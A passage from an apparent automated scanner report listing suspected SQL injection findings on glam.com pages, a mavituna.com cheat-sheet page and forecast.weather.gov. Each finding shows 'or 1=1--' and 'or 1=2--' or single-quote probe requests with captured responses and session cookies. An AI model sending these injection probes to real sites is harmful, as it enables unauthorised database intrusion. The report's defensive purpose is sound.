</HTML>

1.19. http://entertainment.glam.com/wp-content/plugins/menus-plus/javascriptmenu.php [menu parameter]  previous  next

Summary

Severity:   High
Confidence:   Tentative
Host:   http://entertainment.glam.com
Path:   /wp-content/plugins/menus-plus/javascriptmenu.php

Issue detail

The menu parameter appears to be vulnerable to SQL injection attacks. The payloads 19539096%20or%201%3d1--%20 and 19539096%20or%201%3d2--%20 were each submitted in the menu parameter. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.

Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.

Request 1

GET /wp-content/plugins/menus-plus/javascriptmenu.php?menu=119539096%20or%201%3d1--%20 HTTP/1.1
Host: entertainment.glam.com
Proxy-Connection: keep-alive
Referer: http://entertainment.glam.com/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=234602824.1303348792.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); __qca=P0-764090074-1303348792453; glam_sid=116391130334874196611; __utma=234602824.706286063.1303348792.1303348792.1303348869.2; __utmc=234602824; bkpix2=1; qcsegs=D,T; PHPSESSID=nk9jpufv0kgf2vr6ilitu6cv36; __utmb=234602824

Response 1

HTTP/1.1 200 OK
Server: Apache/2.2.3 (Unix) mod_ssl/2.2.3 OpenSSL/0.9.8e-fips-rhel5 PHP/5.1.6
X-Powered-By: PHP/5.1.6
x-channel: menuplus
Last-Modified: Wed, 20 Apr 2011 18:39:30 GMT
Vary: Accept-Encoding
Content-Type: application/x-javascript
backend-server: app135
Content-Length: 21013
X-Varnish: 303287164
Expires: Thu, 21 Apr 2011 01:39:32 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Thu, 21 Apr 2011 01:39:32 GMT
Connection: close

var string =" <div id='Nav' class='sprite_v1-default-navBar-bg-img'><ul class='topnav'><li class='cufonClass'><a href='http://www.glam.com' title='' onmouseover='showSubMenu(0)'>Home</a><li class='LineSeperator sprite_v1-seperator'></li><li class='cufonClass'><a href='http://www.glam.com' title='' onmouseover='showSubMenu(0)'>Home</a><li class='LineSeperator sprite_v1-seperator'></li><li class='cufonClass'><a href='http://fashion.glam.com/' title='Fashion' onmouseover='showSubMenu(4)' onmouseout='hideSubMenu();'>Fashion</a></li><li class='LineSeperator sprite_v1-seperator'> </li><li class='cufonClass'><a href='http://trends.glam.com/' title='Trends' onmouseover='showSubMenu(5)' onmouseout='hideSubMenu();'>Trends</a></li><li class='LineSeperator sprite_v1-seperator'> </li><li class='cufonClass'><a href='http://runway.glam.com/' title='Runway' onmouseover='showSubMenu(6)' onmouseout='hideSubMenu();'>Runway</a></li><li class='LineSeperator sprite_v1-seperator'> </li><li class='cufonClass'><a href='http://designers.glam.com/' title='Designers' onmouseover='showSubMenu(7)' onmouseout='hideSubMenu();'>Designers</a></li><li class='LineSeperator sprite_v1-seperator'> </li><li class='cufonClass'><a href='http://shopping.glam.com/' title='Shopping' onmouseover='showSubMenu(8)' onmouseout='hideSubMenu();'>Shopping</a></li><li class='LineSeperator sprite_v1-seperator'> </li><li class='cufonClass'><a href='http://beauty.glam.com/' title='Beauty' onmouseover='showSubMenu(9)' onmouseout='hideSubMenu();'>Beauty</a></li><li class='LineSeperator sprite_v1-seperator'> </li><li class='cufonClass'><a href='http://hair.glam.com/' title='Hair' onmouseover='showSubMenu(10)' onmouseout='hideSubMenu();'>Hair</a></li><li class='LineSeperator sprite_v1-seperator'> </li><li class='cufonClass'><a href='http://makeup.glam.com/' title='Makeup' onmouseover='showSubMenu(11)' onmouseout='hideSubMenu();'>Makeup</a></li><li class='LineSeperator sprite_v1-seperator'> </li><li class='cufonClass'><a href='http://skinbody.glam.com/' title='Skin &amp; Body' onmouseover='showSubMenu(12)' onm
...[SNIP]...

Request 2

GET /wp-content/plugins/menus-plus/javascriptmenu.php?menu=119539096%20or%201%3d2--%20 HTTP/1.1
Host: entertainment.glam.com
Proxy-Connection: keep-alive
Referer: http://entertainment.glam.com/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=234602824.1303348792.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); __qca=P0-764090074-1303348792453; glam_sid=116391130334874196611; __utma=234602824.706286063.1303348792.1303348792.1303348869.2; __utmc=234602824; bkpix2=1; qcsegs=D,T; PHPSESSID=nk9jpufv0kgf2vr6ilitu6cv36; __utmb=234602824

Response 2

HTTP/1.1 200 OK
Server: Apache/2.2.3 (Unix) mod_ssl/2.2.3 OpenSSL/0.9.8e-fips-rhel5 PHP/5.1.6
X-Powered-By: PHP/5.1.6
x-channel: menuplus
Last-Modified: Thu, 21 Apr 2011 01:39:34 GMT
Vary: Accept-Encoding
Content-Type: application/x-javascript
backend-server: app135
Content-Length: 2388
X-Varnish: 303287227
Expires: Thu, 21 Apr 2011 01:39:34 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Thu, 21 Apr 2011 01:39:34 GMT
Connection: close

var string =" <div id='Nav' class='sprite_v1-default-navBar-bg-img'><ul class='topnav'></ul></div> "; document.write(string);var string ="<div onmouseover='showme();' onmouseout='hideme();' class='SubNav'><div id='submenu_active' ><ul style='width:550px' class='topsubnav' id='glam-menus-plus'><li class=''><a href='http://television.glam.com/' title='Television'>Television</a></li><li class=''><a href='http://music.glam.com/' title='Music'>Music</a></li><li class=''><a href='http://movies.glam.com/' title='Movies'>Movies</a></li><li class=''><a href='http://games.glam.com/' title='Games'>Games</a></li></ul></div><style type='text/css'>._glam_search_button {background:transparent url('/wp-content/themes/glam_v1/static/images/sprite-images.png');background-position: -1070px 0; width: 55px; height: 20px;list-style:none} ._glam_search_twitter {background:transparent url('/wp-content/themes/glam_v1/static/images/sprite-images.png');background-position: -1070px -300px; width: 20px; height: 20px;} ._glam_search_facebook {background:transparent url('/wp-content/themes/glam_v1/static/images/sprite-images.png');background-position: 0 -495px; width: 20px; height: 20px;} ._glam_search_rss {background:transparent url('/wp-content/themes/glam_v1/static/images/sprite-images.png');background-position: 0 -1935px; width: 20px; height: 20px;}</style> <div class='SocialContainer'id='menusearch'><div class='SearchBox'><form role='search' name='searchform' method='get' id='searchform' action='http://www.glam.com' ><div class='search_controls'><input type='text' style='height:15px;' value='' name='search' id='search' /></div><div style='float:left;margin-top:3px;'><span onclick='javascript:document.searchform.submit();' style='cursor:pointer'><div class='_glam_search_button'></div></span></div></div> <ul class='social'> <a href='http://twitter.com/onglamfashion' target='_blank'><div class='_glam_search_twitter'></div></a> <a href='http://www.facebook.com/pages/Glamcom/144180538945796?ref=ts' target='_b
...[SNIP]...

1.20. http://fashion.glam.com/2011/04/18/my-spring-shopping-decisions/ [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Tentative
Host:   http://fashion.glam.com
Path:   /2011/04/18/my-spring-shopping-decisions/

Issue detail

The REST URL parameter 1 appears to be vulnerable to SQL injection attacks. A single quote was submitted in the REST URL parameter 1, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

Request 1

GET /2011'/04/18/my-spring-shopping-decisions/ HTTP/1.1
Host: fashion.glam.com
Proxy-Connection: keep-alive
Referer: http://www.glam.com/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=234602824.1303348792.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); __qca=P0-764090074-1303348792453; glam_sid=116391130334874196611; __utma=234602824.706286063.1303348792.1303348792.1303348869.2; __utmc=234602824; bkpix2=1; qcsegs=D,T; __utmb=234602824

Response 1 (redirected)

HTTP/1.1 200 OK
Server: Apache/2.2.3 (Unix) mod_ssl/2.2.3 OpenSSL/0.9.8e-fips-rhel5 PHP/5.1.6
X-Powered-By: PHP/5.1.6
X-Pingback: http://www.glam.com/xmlrpc.php
Link: <http://www.glam.com/?p=110683>; rel=shortlink
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
backend-server: app135
Content-Length: 27354
X-Varnish: 303295436 303264075
X-Cache-Hits: 302
Expires: Thu, 21 Apr 2011 01:48:40 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Thu, 21 Apr 2011 01:48:40 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/2
...[SNIP]...
<script type="text/javascript"> var al_timeout = 0; var al_redirectOnLogin = ''; var al_base_uri = 'http://fashion.glam.com/'; var al_success = '1'; var al_failure = '0';</script>
...[SNIP]...

Request 2

GET /2011''/04/18/my-spring-shopping-decisions/ HTTP/1.1
Host: fashion.glam.com
Proxy-Connection: keep-alive
Referer: http://www.glam.com/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=234602824.1303348792.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); __qca=P0-764090074-1303348792453; glam_sid=116391130334874196611; __utma=234602824.706286063.1303348792.1303348792.1303348869.2; __utmc=234602824; bkpix2=1; qcsegs=D,T; __utmb=234602824

Response 2

HTTP/1.1 200 OK
Server: Apache/2.2.3 (Unix) mod_ssl/2.2.3 OpenSSL/0.9.8e-fips-rhel5 PHP/5.1.6
X-Powered-By: PHP/5.1.6
x-content-type: article
x-channel: Fashion
Vary: Accept-Encoding
WP-Cache: Served supercache file from PHP
Content-Type: text/html; charset=UTF-8
backend-server: app135
Content-Length: 27386
X-Varnish: 303295444
Expires: Thu, 21 Apr 2011 01:48:40 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Thu, 21 Apr 2011 01:48:40 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/2
...[SNIP]...

1.21. http://fashion.glam.com/2011/04/18/my-spring-shopping-decisions/ [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Tentative
Host:   http://fashion.glam.com
Path:   /2011/04/18/my-spring-shopping-decisions/

Issue detail

The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. The payloads 80888026'%20or%201%3d1--%20 and 80888026'%20or%201%3d2--%20 were each submitted in the name of an arbitrarily supplied request parameter. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.

Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.

Request 1

GET /2011/04/18/my-spring-shopping-decisions/?180888026'%20or%201%3d1--%20=1 HTTP/1.1
Host: fashion.glam.com
Proxy-Connection: keep-alive
Referer: http://fashion.glam.com/2011/04/18/my-spring-shopping-decisions/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: AICookieTest=54; __utmz=234602824.1303348792.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); __qca=P0-764090074-1303348792453; glam_sid=116391130334874196611; __utma=234602824.706286063.1303348792.1303348792.1303348869.2; __utmc=234602824; bkpix2=1; qcsegs=D,T; __utmb=234602824; PHPSESSID=192lsjebnudjoos0vegf2hpcu4

Response 1

HTTP/1.1 200 OK
Server: Apache/2.2.3 (Unix) mod_ssl/2.2.3 OpenSSL/0.9.8e-fips-rhel5 PHP/5.1.6
X-Powered-By: PHP/5.1.6
x-content-type: article
x-channel: Fashion
Vary: Accept-Encoding
X-Pingback: http://www.glam.com/xmlrpc.php
Link: <http://www.glam.com/?p=110683>; rel=shortlink
Content-Type: text/html; charset=UTF-8
backend-server: app135
Content-Length: 27477
X-Varnish: 303305584
Expires: Thu, 21 Apr 2011 01:59:29 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Thu, 21 Apr 2011 01:59:29 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/2
...[SNIP]...
<script type="text/javascript" src="http://glamnewlive.disqus.com/remote_auth.js?remote_auth_s2=W10%3D+f2037123a7df95199ace556d58142686418efeed+1303351169"></script> <!-- Netica Monitoring --><!-- DBOK -->
<script src="http://www.google-analytics.com/urchin.js" type="text/javascript"></script>
<script type="text/javascript">_uacct = "UA-2024191-1"; _udn="glam.com"; try { urchinTracker(); } catch(err){} </script>
<!-- Start Quantcast tag -->
<script type="text/javascript"> _qoptions={ qacct:"p-874AVp33Bbtkg" };</script>
<script type="text/javascript" src="http://edge.quantserve.com/quant.js"></script>

<!-- End Quantcast tag -->
</head>
<body class="single single-post postid-110683" id="bodyID"><!-- Container START -->
   <noscript><img src="http://pixel.quantserve.com/pixel/p-874AVp33Bbtkg.gif" class="hide" border="0" height="1" width="1" alt="Quantcast"/></noscript>
<div align="center" class="Container"><!-- Page START -->
<div class="topCorner"></div>
<div class="Box">
<table width="100%" cellpadding="0" cellspacing="0" border="0" class="Page">
<tr><td><div class="HorizantalSpacer"></div>
<div class="Header">
<a href="http://www.glam.com" class="Logo sprite_v1-glamcom_206_36"></a>
<div class="LoginLinks" align="right">
                                       <script type="text/javascript" language="javascript"> function setCookieforLogin(c_name,value,expiredays){ if(expiredays){ var exdate=new Date(); exdate.setDate(exdate.getDate()+expiredays); var expires=exdate.toGMTString(); } else var expires=""; document.cookie=c_name+ "=" +escape(value)+((expiredays==null) ? "" : ";expires="+expires)+";domain=.glam.com"; }
                                       function logoutFunction(redirectURL){ setCookieforLogin('logedIncheck','',-1); location.href=redirectURL; }if(!getCookie('logedIncheck')){ document.write('<div onclick="toggleSignIn(\'head\');" id="signInArrowImg"><div id="signInArrowUp">&nbsp;</div><div id="signInArrowDown">&nbsp;</d
...[SNIP]...

Request 2

GET /2011/04/18/my-spring-shopping-decisions/?180888026'%20or%201%3d2--%20=1 HTTP/1.1
Host: fashion.glam.com
Proxy-Connection: keep-alive
Referer: http://fashion.glam.com/2011/04/18/my-spring-shopping-decisions/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: AICookieTest=54; __utmz=234602824.1303348792.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); __qca=P0-764090074-1303348792453; glam_sid=116391130334874196611; __utma=234602824.706286063.1303348792.1303348792.1303348869.2; __utmc=234602824; bkpix2=1; qcsegs=D,T; __utmb=234602824; PHPSESSID=192lsjebnudjoos0vegf2hpcu4

Response 2

HTTP/1.1 200 OK
Server: Apache/2.2.3 (Unix) mod_ssl/2.2.3 OpenSSL/0.9.8e-fips-rhel5 PHP/5.1.6
X-Powered-By: PHP/5.1.6
X-Pingback: http://www.glam.com/xmlrpc.php
Link: <http://www.glam.com/?p=110683>; rel=shortlink
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
backend-server: app135
Content-Length: 27354
X-Varnish: 303305626
Expires: Thu, 21 Apr 2011 01:59:31 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Thu, 21 Apr 2011 01:59:31 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/2
...[SNIP]...
<script type="text/javascript" src="http://glamnewlive.disqus.com/remote_auth.js?remote_auth_s2=W10%3D+d7e09363ffe3839fd80121c693e498075172e7fd+1303351171"></script> <!-- Netica Monitoring --><!-- DBOK -->
<script src="http://www.google-analytics.com/urchin.js" type="text/javascript"></script>
<script type="text/javascript">_uacct = "UA-2024191-1"; _udn="glam.com"; try { urchinTracker(); } catch(err){} </script>
<!-- Start Quantcast tag -->
<script type="text/javascript"> _qoptions={ qacct:"p-874AVp33Bbtkg" };</script>
<script type="text/javascript" src="http://edge.quantserve.com/quant.js"></script>

<!-- End Quantcast tag -->
</head>
<body class="single single-post postid-110683" id="bodyID"><!-- Container START -->
   <noscript><img src="http://pixel.quantserve.com/pixel/p-874AVp33Bbtkg.gif" class="hide" border="0" height="1" width="1" alt="Quantcast"/></noscript>
<div align="center" class="Container"><!-- Page START -->
<div class="topCorner"></div>
<div class="Box">
<table width="100%" cellpadding="0" cellspacing="0" border="0" class="Page">
<tr><td><div class="HorizantalSpacer"></div>
<div class="Header">
<a href="http://www.glam.com" class="Logo sprite_v1-glamcom_206_36"></a>
<div class="LoginLinks" align="right">
                                       <script type="text/javascript" language="javascript"> function setCookieforLogin(c_name,value,expiredays){ if(expiredays){ var exdate=new Date(); exdate.setDate(exdate.getDate()+expiredays); var expires=exdate.toGMTString(); } else var expires=""; document.cookie=c_name+ "=" +escape(value)+((expiredays==null) ? "" : ";expires="+expires)+";domain=.glam.com"; }
                                       function logoutFunction(redirectURL){ setCookieforLogin('logedIncheck','',-1); location.href=redirectURL; }if(!getCookie('logedIncheck')){ document.write('<div onclick="toggleSignIn(\'head\');" id="signInArrowImg"><div id="signInArrowUp">&nbsp;</div><div id="signInArrowDown">&nbsp;</d
...[SNIP]...

1.22. http://fashion.glam.com/wp-content/plugins/menus-plus/javascriptmenu.php [menu parameter]  previous  next

Summary

Severity:   High
Confidence:   Tentative
Host:   http://fashion.glam.com
Path:   /wp-content/plugins/menus-plus/javascriptmenu.php

Issue detail

The menu parameter appears to be vulnerable to SQL injection attacks. The payloads 71416728%20or%201%3d1--%20 and 71416728%20or%201%3d2--%20 were each submitted in the menu parameter. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.

Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.

Request 1

GET /wp-content/plugins/menus-plus/javascriptmenu.php?menu=171416728%20or%201%3d1--%20 HTTP/1.1
Host: fashion.glam.com
Proxy-Connection: keep-alive
Referer: http://fashion.glam.com/2011/04/18/my-spring-shopping-decisions/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=234602824.1303348792.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); __qca=P0-764090074-1303348792453; glam_sid=116391130334874196611; __utma=234602824.706286063.1303348792.1303348792.1303348869.2; __utmc=234602824; bkpix2=1; qcsegs=D,T; __utmb=234602824

Response 1

HTTP/1.1 200 OK
Server: Apache/2.2.3 (Unix) mod_ssl/2.2.3 OpenSSL/0.9.8e-fips-rhel5 PHP/5.1.6
X-Powered-By: PHP/5.1.6
x-channel: menuplus
Last-Modified: Wed, 20 Apr 2011 18:52:21 GMT
Vary: Accept-Encoding
Content-Type: application/x-javascript
backend-server: app135
Content-Length: 21118
X-Varnish: 303298774
Expires: Thu, 21 Apr 2011 01:52:23 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Thu, 21 Apr 2011 01:52:23 GMT
Connection: close

var string =" <div id='Nav' class='sprite_v1-default-navBar-bg-img'><ul class='topnav'><li class='cufonClass'><a href='http://www.glam.com' title='' onmouseover='showSubMenu(0)'>Home</a><li class='LineSeperator sprite_v1-seperator'></li><li class='cufonClass'><a href='http://www.glam.com' title='' onmouseover='showSubMenu(0)'>Home</a><li class='LineSeperator sprite_v1-seperator'></li><li class='cufonClass'><a href='http://fashion.glam.com/' title='Fashion' style='color:white' onmouseover='showSubMenu(4)' onmouseout='hideSubMenu();' >Fashion</a></li><li class='LineSeperator sprite_v1-seperator'> </li><li class='cufonClass'><a href='http://trends.glam.com/' title='Trends' onmouseover='showSubMenu(5)' onmouseout='hideSubMenu();'>Trends</a></li><li class='LineSeperator sprite_v1-seperator'> </li><li class='cufonClass'><a href='http://runway.glam.com/' title='Runway' onmouseover='showSubMenu(6)' onmouseout='hideSubMenu();'>Runway</a></li><li class='LineSeperator sprite_v1-seperator'> </li><li class='cufonClass'><a href='http://designers.glam.com/' title='Designers' onmouseover='showSubMenu(7)' onmouseout='hideSubMenu();'>Designers</a></li><li class='LineSeperator sprite_v1-seperator'> </li><li class='cufonClass'><a href='http://shopping.glam.com/' title='Shopping' onmouseover='showSubMenu(8)' onmouseout='hideSubMenu();'>Shopping</a></li><li class='LineSeperator sprite_v1-seperator'> </li><li class='cufonClass'><a href='http://beauty.glam.com/' title='Beauty' onmouseover='showSubMenu(9)' onmouseout='hideSubMenu();'>Beauty</a></li><li class='LineSeperator sprite_v1-seperator'> </li><li class='cufonClass'><a href='http://hair.glam.com/' title='Hair' onmouseover='showSubMenu(10)' onmouseout='hideSubMenu();'>Hair</a></li><li class='LineSeperator sprite_v1-seperator'> </li><li class='cufonClass'><a href='http://makeup.glam.com/' title='Makeup' onmouseover='showSubMenu(11)' onmouseout='hideSubMenu();'>Makeup</a></li><li class='LineSeperator sprite_v1-seperator'> </li><li class='cufonClass'><a href='http://skinbody.glam.com/' title='Skin &amp; Body' onmouseover=
...[SNIP]...

Request 2

GET /wp-content/plugins/menus-plus/javascriptmenu.php?menu=171416728%20or%201%3d2--%20 HTTP/1.1
Host: fashion.glam.com
Proxy-Connection: keep-alive
Referer: http://fashion.glam.com/2011/04/18/my-spring-shopping-decisions/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=234602824.1303348792.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); __qca=P0-764090074-1303348792453; glam_sid=116391130334874196611; __utma=234602824.706286063.1303348792.1303348792.1303348869.2; __utmc=234602824; bkpix2=1; qcsegs=D,T; __utmb=234602824

Response 2

HTTP/1.1 200 OK
Server: Apache/2.2.3 (Unix) mod_ssl/2.2.3 OpenSSL/0.9.8e-fips-rhel5 PHP/5.1.6
X-Powered-By: PHP/5.1.6
x-channel: menuplus
Last-Modified: Thu, 21 Apr 2011 01:52:24 GMT
Vary: Accept-Encoding
Content-Type: application/x-javascript
backend-server: app135
Content-Length: 2493
X-Varnish: 303298810
Expires: Thu, 21 Apr 2011 01:52:24 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Thu, 21 Apr 2011 01:52:24 GMT
Connection: close

var string =" <div id='Nav' class='sprite_v1-default-navBar-bg-img'><ul class='topnav'></ul></div> "; document.write(string);var string ="<div onmouseover='showme();' onmouseout='hideme();' class='SubNav'><div id='submenu_active' ><ul style='width:550px' class='topsubnav' id='glam-menus-plus'><li class=''><a href='http://trends.glam.com/' title='Trends'>Trends</a></li><li class=''><a href='http://runway.glam.com/' title='Runway'>Runway</a></li><li class=''><a href='http://designers.glam.com/' title='Designers'>Designers</a></li><li class=''><a href='http://shopping.glam.com/' title='Shopping'>Shopping</a></li><li class=''><a href='http://fwi.glam.com/' title='Fashion Week Insider'>Fashion Week Insider</a></li></ul></div><style type='text/css'>._glam_search_button {background:transparent url('/wp-content/themes/glam_v1/static/images/sprite-images.png');background-position: -1070px 0; width: 55px; height: 20px;list-style:none} ._glam_search_twitter {background:transparent url('/wp-content/themes/glam_v1/static/images/sprite-images.png');background-position: -1070px -300px; width: 20px; height: 20px;} ._glam_search_facebook {background:transparent url('/wp-content/themes/glam_v1/static/images/sprite-images.png');background-position: 0 -495px; width: 20px; height: 20px;} ._glam_search_rss {background:transparent url('/wp-content/themes/glam_v1/static/images/sprite-images.png');background-position: 0 -1935px; width: 20px; height: 20px;}</style> <div class='SocialContainer'id='menusearch'><div class='SearchBox'><form role='search' name='searchform' method='get' id='searchform' action='http://www.glam.com' ><div class='search_controls'><input type='text' style='height:15px;' value='' name='search' id='search' /></div><div style='float:left;margin-top:3px;'><span onclick='javascript:document.searchform.submit();' style='cursor:pointer'><div class='_glam_search_button'></div></span></div></div> <ul class='social'> <a href='http://twitter.com/onglamfashion' target='_blank'><div class='_glam_search_twitter'>
...[SNIP]...

1.23. http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/ [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://ferruh.mavituna.com
Path:   /sql-injection-cheatsheet-oku/

Issue detail

The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. The payload ' was submitted in the name of an arbitrarily supplied request parameter, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be PostgreSQL.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request

GET /sql-injection-cheatsheet-oku/?1'=1 HTTP/1.1
Host: ferruh.mavituna.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response (redirected)

HTTP/1.1 200 OK
Connection: close
Date: Sat, 26 Feb 2011 02:08:56 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
X-Powered-By: UrlRewriter.NET 2.0.0
Set-Cookie: ASP.NET_SessionId=3clmea55v5w3ngbt3e5t0e2l; path=/; HttpOnly
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 76876

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">
<head>

<title>SQL Injection
...[SNIP]...
<code>Microsoft OLE DB Provider for ODBC Drivers error '80040e07' <br />[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a <strong class="hi">
...[SNIP]...

1.24. http://forecast.weather.gov/product.php [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Tentative
Host:   http://forecast.weather.gov
Path:   /product.php

Issue detail

The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. The payloads 89542108%20or%201%3d1--%20 and 89542108%20or%201%3d2--%20 were each submitted in the name of an arbitrarily supplied request parameter. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.

Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.

Request 1

GET /product.php?site=NWS&issuedby=GYX&product=RWS&format=CI&versi/189542108%20or%201%3d1--%20on=1 HTTP/1.1
Host: forecast.weather.gov
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response 1

HTTP/1.0 200 OK
Age: 16
Date: Sat, 26 Feb 2011 02:22:03 GMT
Content-Length: 13809
Content-Type: text/html; charset=UTF-8
Expires: Sat, 26 Feb 2011 02:37:03 GMT
Cache-Control: max-age=900
X-Pad: work around browser bug
Server: Apache
Via: 1.1 wwwcache-2 (NetCache NetApp/6.0.7), 1.0 c1.w2.woc (squid)
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"><head>
<meta http-equiv="Content-Type" content="application/xhtml+xml; charset=utf-8" />
<link rel="schema.DC" href="http://purl.org/dc/elements/1.1/" /><title>National Weather Service Text Product Display</title>
